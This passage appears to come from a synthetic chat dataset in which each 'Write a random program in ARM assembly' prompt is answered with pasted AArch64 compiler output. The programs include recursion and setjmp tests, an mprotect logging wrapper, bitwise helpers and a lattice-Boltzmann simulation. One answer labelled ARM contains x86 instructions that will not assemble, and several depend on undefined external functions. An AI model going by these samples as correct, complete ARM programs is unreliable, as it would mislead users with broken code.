.cfi_offset 74, -80
.cfi_offset 75, -72
.cfi_offset 76, -64
.cfi_offset 77, -56
.cfi_offset 78, -48
.cfi_offset 79, -40
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 184]
mov x1, 0
str xzr, [x29, 168]
sub sp, sp, #32
str xzr, [sp, 8]
add x0, sp, 16
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
str x0, [x29, 168]
ldr x2, [x29, 168]
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov x0, x2
ldr w2, [x1]
str w2, [x0]
ldrb w1, [x1, 4]
strb w1, [x0, 4]
adrp x0, buf
add x0, x0, :lo12:buf
str x29, [x0]
adrp x1, .L3
add x1, x1, :lo12:.L3
str x1, [x0, 8]
mov x1, sp
str x1, [x0, 16]
mov w0, 0
b .L4
.L3:
mov w0, 1
.L4:
cmp w0, 0
beq .L5
adrp x0, .LC0
add x1, x0, :lo12:.LC0
ldr x0, [x29, 168]
bl strcmp
cmp w0, 0
beq .L6
bl abort
.L6:
mov w0, 0
bl exit
.L5:
ldr x0, [x29, 168]
add x0, x0, 2
ldrb w0, [x0]
and x0, x0, 255
lsl x0, x0, 2
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L7:
cmp sp, x1
beq .L8
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L7
.L8:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L9
str xzr, [sp, 1024]
.L9:
add x0, sp, 16
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
str x0, [x29, 176]
str wzr, [x29, 164]
b .L10
.L11:
ldrsw x0, [x29, 164]
lsl x0, x0, 2
ldr x1, [x29, 176]
add x0, x1, x0
str wzr, [x0]
ldr w0, [x29, 164]
add w0, w0, 1
str w0, [x29, 164]
.L10:
ldr x0, [x29, 168]
add x0, x0, 2
ldrb w0, [x0]
mov w1, w0
ldr w0, [x29, 164]
cmp w0, w1
blt .L11
.L12:
bl sub2
b .L12
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global v
.bss
.align 2
.type v, %object
.size v, 4
v:
.zero 4
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w0, 0
bl recurser_void1
adrp x0, v
add x0, x0, :lo12:v
ldr w0, [x0]
cmp w0, 5
beq .L2
bl abort
.L2:
mov w0, 0
bl exit
.cfi_endproc
.LFE0:
.size main, .-main
.align 2
.type recurser_void1, %function
recurser_void1:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L4
ldr w0, [sp, 28]
cmp w0, 7
beq .L4
ldr w0, [sp, 28]
cmp w0, 8
bne .L5
.L4:
ldr w0, [sp, 28]
bl track
.L5:
ldr w0, [sp, 28]
cmp w0, 10
beq .L8
ldr w0, [sp, 28]
add w0, w0, 1
bl recurser_void2
b .L3
.L8:
nop
.L3:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size recurser_void1, .-recurser_void1
.align 2
.type recurser_void2, %function
recurser_void2:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L10
ldr w0, [sp, 28]
cmp w0, 7
beq .L10
ldr w0, [sp, 28]
cmp w0, 8
bne .L11
.L10:
ldr w0, [sp, 28]
bl track
.L11:
ldr w0, [sp, 28]
cmp w0, 10
beq .L14
adrp x0, v
add x0, x0, :lo12:v
ldr w0, [x0]
add w1, w0, 1
adrp x0, v
add x0, x0, :lo12:v
str w1, [x0]
ldr w0, [sp, 28]
add w0, w0, 1
bl recurser_void1
b .L9
.L14:
nop
.L9:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size recurser_void2, .-recurser_void2
.global trackpoint
.bss
.align 3
.type trackpoint, %object
.size trackpoint, 8
trackpoint:
.zero 8
.text
.align 2
.global track
.type track, %function
track:
.LFB3:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
ldr w0, [sp, 28]
cmp w0, 0
bne .L16
adrp x0, trackpoint
add x0, x0, :lo12:trackpoint
add x1, sp, 32
str x1, [x0]
b .L21
.L16:
ldr w0, [sp, 28]
cmp w0, 7
beq .L18
ldr w0, [sp, 28]
cmp w0, 8
bne .L19
.L18:
adrp x0, trackpoint
add x0, x0, :lo12:trackpoint
ldr x1, [x0]
add x0, sp, 32
cmp x1, x0
beq .L21
.L19:
bl abort
.L21:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 40]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L20
bl __stack_chk_fail
.L20:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size track, .-track
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global fp
.bss
.align 3
.type fp, %object
.size fp, 8
fp:
.zero 8
.section .rodata
.align 3
.LC0:
.string "mprotect"
.text
.align 2
.global init
.type init, %function
init:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov x0, -1
bl dlsym
mov x1, x0
adrp x0, fp
add x0, x0, :lo12:fp
str x1, [x0]
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size init, .-init
.section .init_array,"aw",%init_array
.align 3
.xword init
.section .rodata
.align 3
.LC1:
.string "Calling mprotect(%p, %zd, %d)\n"
.align 3
.LC2:
.string " Backtrace (%d entries):\n"
.align 3
.LC3:
.string " %s\n"
.text
.align 2
.global mprotect
.type mprotect, %function
mprotect:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -400]!
.cfi_def_cfa_offset 400
.cfi_offset 29, -400
.cfi_offset 30, -392
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 392]
mov x1, 0
ldr w3, [sp, 28]
ldr x2, [sp, 32]
ldr x1, [sp, 40]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
add x0, sp, 72
mov w1, 40
bl backtrace
str w0, [sp, 60]
ldr w1, [sp, 60]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
add x0, sp, 72
ldr w1, [sp, 60]
bl backtrace_symbols
str x0, [sp, 64]
str wzr, [sp, 56]
b .L3
.L4:
ldrsw x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 64]
add x0, x1, x0
ldr x0, [x0]
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L3:
ldr w1, [sp, 56]
ldr w0, [sp, 60]
cmp w1, w0
blt .L4
ldr x0, [sp, 64]
bl free
adrp x0, fp
add x0, x0, :lo12:fp
ldr x3, [x0]
ldr w2, [sp, 28]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
blr x3
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 392]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L6
bl __stack_chk_fail
.L6:
mov w0, w1
ldp x29, x30, [sp], 400
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size mprotect, .-mprotect
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
#APP
// 2 "program.c" 1
movl $0, %eax;movl $1, %ebx;
// 0 "" 2
#NO_APP
nop
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global CLSID_ProcessDump
.section .rodata
.align 3
.type CLSID_ProcessDump, %object
.size CLSID_ProcessDump, 24
CLSID_ProcessDump:
.xword 3970674884
.hword 32537
.hword 4562
.string "\227\216"
.string ""
.ascii "\370u~*"
.zero 4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "> [TASK] This task is to test fork. This is father process. (%d)\n"
.align 3
.LC1:
.string "> [TASK] This task is to test fork. This is child %d process. (%d)\n"
.text
.align 2
.global fork_task
.type fork_task, %function
fork_task:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
mov w0, 9
str w0, [sp, 36]
str wzr, [sp, 40]
mov w0, 1
str w0, [sp, 44]
str wzr, [sp, 32]
.L9:
ldr w1, [sp, 36]
mov w0, 1
bl sys_move_cursor
ldr w0, [sp, 40]
cmp w0, 0
bne .L2
ldr w1, [sp, 32]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
b .L3
.L2:
ldr w2, [sp, 32]
ldr w1, [sp, 40]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
.L3:
ldr w0, [sp, 44]
cmp w0, 0
beq .L10
bl sys_read
strb w0, [sp, 31]
ldrb w0, [sp, 31]
cmp w0, 47
bls .L11
ldrb w0, [sp, 31]
cmp w0, 52
bhi .L11
bl sys_fork
cmp w0, 0
beq .L8
str wzr, [sp, 44]
b .L5
.L8:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldrb w0, [sp, 31]
sub w0, w0, #48
bl sys_priority
b .L5
.L10:
nop
b .L5
.L11:
nop
.L5:
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
b .L9
.cfi_endproc
.LFE0:
.size fork_task, .-fork_task
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global bitwise_rshift
.type bitwise_rshift, %function
bitwise_rshift:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
str w1, [sp, 8]
ldr w0, [sp, 8]
ldr w1, [sp, 12]
asr w0, w1, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size bitwise_rshift, .-bitwise_rshift
.align 2
.global bitwise_lshift
.type bitwise_lshift, %function
bitwise_lshift:
.LFB1:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
str w1, [sp, 8]
ldr w0, [sp, 8]
ldr w1, [sp, 12]
lsl w0, w1, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size bitwise_lshift, .-bitwise_lshift
.align 2
.global bitwise_xor
.type bitwise_xor, %function
bitwise_xor:
.LFB2:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
str w1, [sp, 8]
ldr w1, [sp, 12]
ldr w0, [sp, 8]
eor w0, w1, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size bitwise_xor, .-bitwise_xor
.align 2
.global bitwise_and
.type bitwise_and, %function
bitwise_and:
.LFB3:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
str w1, [sp, 8]
ldr w1, [sp, 12]
ldr w0, [sp, 8]
and w0, w1, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size bitwise_and, .-bitwise_and
.align 2
.global bitwise_or
.type bitwise_or, %function
bitwise_or:
.LFB4:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
str w1, [sp, 8]
ldr w1, [sp, 12]
ldr w0, [sp, 8]
orr w0, w1, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE4:
.size bitwise_or, .-bitwise_or
.align 2
.global bitwise_not
.type bitwise_not, %function
bitwise_not:
.LFB5:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
ldr w0, [sp, 12]
mvn w0, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size bitwise_not, .-bitwise_not
.align 2
.global bitwise_not_uint8
.type bitwise_not_uint8, %function
bitwise_not_uint8:
.LFB6:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
strb w0, [sp, 15]
ldrb w0, [sp, 15]
mvn w0, w0
strb w0, [sp, 27]
ldrb w0, [sp, 27]
str w0, [sp, 28]
ldr w0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size bitwise_not_uint8, .-bitwise_not_uint8
.align 2
.global byte_lshift
.type byte_lshift, %function
byte_lshift:
.LFB7:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
strb w0, [sp, 15]
strb w1, [sp, 14]
ldrb w1, [sp, 15]
ldrb w0, [sp, 14]
lsl w0, w1, w0
strb w0, [sp, 15]
ldrb w0, [sp, 15]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size byte_lshift, .-byte_lshift
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global re
.section .rodata
.align 3
.type re, %object
.size re, 8
re:
.word 0
.word 1079574528
.global uTop
.align 3
.type uTop, %object
.size uTop, 8
uTop:
.word 1202590843
.word 1065646817
.global omega
.bss
.align 3
.type omega, %object
.size omega, 8
omega:
.zero 8
.global w1
.section .rodata
.align 3
.type w1, %object
.size w1, 8
w1:
.word 477218588
.word 1071411655
.global w2
.align 3
.type w2, %object
.size w2, 8
w2:
.word 477218588
.word 1069314503
.global w3
.align 3
.type w3, %object
.size w3, 8
w3:
.word 477218588
.word 1067217351
.global grid
.bss
.align 3
.type grid, %object
.size grid, 152472960
grid:
.zero 152472960
.section .rodata
.align 3
.LC0:
.string "2D Lid Driven Cavity simulation with D2Q9 lattice:\n\tscheme : 2-Grid, Fused, Pull\n\tgrid size : %d x %d = %.2lf * 10^3 Cells\n\tnTimeSteps : %d\n\tRe : %.2lf\n\tuTop : %.6lf\n\tomega : %.6lf\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, 48]
.cfi_offset 29, -96
.cfi_offset 30, -88
add x29, sp, 48
str d8, [sp, 64]
.cfi_offset 72, -80
mov x0, 70368744177664
movk x0, 0x41bf, lsl 48
fmov d0, x0
str d0, [sp, 112]
mov w0, -1
str w0, [sp, 104]
str xzr, [sp, 120]
adrp x0, .LC1
ldr d1, [x0, #:lo12:.LC1]
fmov d0, 6.0e+0
fmul d0, d1, d0
mov x0, 277076930199552
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d1, d0, d1
fmov d0, 1.0e+0
fadd d0, d1, d0
fmov d1, 2.0e+0
fdiv d0, d1, d0
adrp x0, omega
add x0, x0, :lo12:omega
str d0, [x0]
mov x0, 4636737291354636288
fmov d1, x0
adrp x0, .LC1
ldr d2, [x0, #:lo12:.LC1]
adrp x0, omega
add x0, x0, :lo12:omega
ldr d0, [x0]
fmov d3, d0
mov w3, 500
adrp x0, .LC2
ldr d0, [x0, #:lo12:.LC2]
mov w2, 1024
mov w1, 1024
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
str wzr, [sp, 92]
b .L2
.L7:
str wzr, [sp, 96]
b .L3
.L6:
str wzr, [sp, 100]
b .L4
.L5:
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x4, [sp, 100]
ldrsw x1, [sp, 92]
ldrsw x2, [sp, 96]
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 2
mov x1, x2
lsl x1, x1, 3
add x1, x1, x2
add x0, x0, x1
add x0, x0, x4
fmov d0, 1.0e+0
str d0, [x3, x0, lsl 3]
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x4, [sp, 100]
ldrsw x1, [sp, 92]
ldrsw x2, [sp, 96]
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 2
mov x1, x2
lsl x1, x1, 3
add x1, x1, x2
add x0, x0, x1
add x1, x0, x4
mov x0, 26840
movk x0, 0x91, lsl 16
add x0, x1, x0
fmov d0, 1.0e+0
str d0, [x3, x0, lsl 3]
ldr w0, [sp, 100]
add w0, w0, 1
str w0, [sp, 100]
.L4:
ldr w0, [sp, 100]
cmp w0, 8
ble .L5
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L3:
ldr w0, [sp, 96]
cmp w0, 1027
ble .L6
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L2:
ldr w0, [sp, 92]
cmp w0, 1029
ble .L7
mov w0, 1027
strh w0, [sp, 84]
mov w0, 1028
strh w0, [sp, 86]
mov w0, 500
str w0, [sp, 108]
str wzr, [sp, 88]
b .L8
.L13:
mov w0, 2
str w0, [sp, 92]
b .L9
.L12:
mov w0, 1
str w0, [sp, 96]
b .L10
.L11:
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w1, w0, w0, ge
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x0, [sp, 96]
ldrsw x2, [sp, 92]
sxtw x4, w1
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x4, x0
add x0, x1, x0
add x0, x3, x0
ldr d8, [x0]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 92]
sub w1, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x2, [sp, 96]
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d1, [x0, 16]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 92]
add w1, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
ldrsw x2, [sp, 96]
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d2, [x0, 32]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 96]
sub w1, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w1
ldrsw x1, [sp, 92]
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d3, [x0, 8]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 96]
add w1, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w1
ldrsw x1, [sp, 92]
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d4, [x0, 24]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 92]
sub w1, w0, #1
ldr w0, [sp, 96]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d5, [x0, 40]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 92]
sub w1, w0, #1
ldr w0, [sp, 96]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d6, [x0, 48]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 92]
add w1, w0, 1
ldr w0, [sp, 96]
sub w2, w0, #1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d7, [x0, 64]
ldr w0, [sp, 88]
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldr w0, [sp, 92]
add w1, w0, 1
ldr w0, [sp, 96]
add w2, w0, 1
adrp x0, grid
add x3, x0, :lo12:grid
sxtw x2, w2
sxtw x1, w1
sxtw x4, w4
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 3
mov x2, 18112
movk x2, 0x48b, lsl 16
mul x2, x4, x2
add x2, x0, x2
mov x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x1, x0, 8
add x0, x0, x1
lsl x0, x0, 5
add x0, x2, x0
add x0, x3, x0
ldr d0, [x0, 56]
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w3, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w3
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x1, x1, x0
adrp x0, grid
add x0, x0, :lo12:grid
add x8, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w3, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w3
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 16
adrp x0, grid
add x0, x0, :lo12:grid
add x9, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w3, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w3
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 32
adrp x0, grid
add x0, x0, :lo12:grid
add x10, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w3, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w3
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 8
adrp x0, grid
add x0, x0, :lo12:grid
add x3, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w4, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w4
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 24
adrp x0, grid
add x0, x0, :lo12:grid
add x4, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w5, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w5
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 40
adrp x0, grid
add x0, x0, :lo12:grid
add x5, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w6, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w6
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 48
adrp x0, grid
add x0, x0, :lo12:grid
add x6, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w7, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
add x0, x0, x2
lsl x0, x0, 5
add x1, x1, x0
sxtw x2, w7
mov x0, 18112
movk x0, 0x48b, lsl 16
mul x0, x2, x0
add x0, x1, x0
add x1, x0, 64
adrp x0, grid
add x0, x0, :lo12:grid
add x7, x1, x0
ldr w0, [sp, 88]
add w0, w0, 1
cmp w0, 0
and w0, w0, 1
csneg w11, w0, w0, ge
ldrsw x0, [sp, 96]
mov x1, x0
lsl x1, x1, 3
add x1, x1, x0
lsl x0, x1, 3
mov x1, x0
ldrsw x2, [sp, 92]
mov x0, x2
lsl x0, x0, 3
add x0, x0, x2
lsl x2, x0, 8
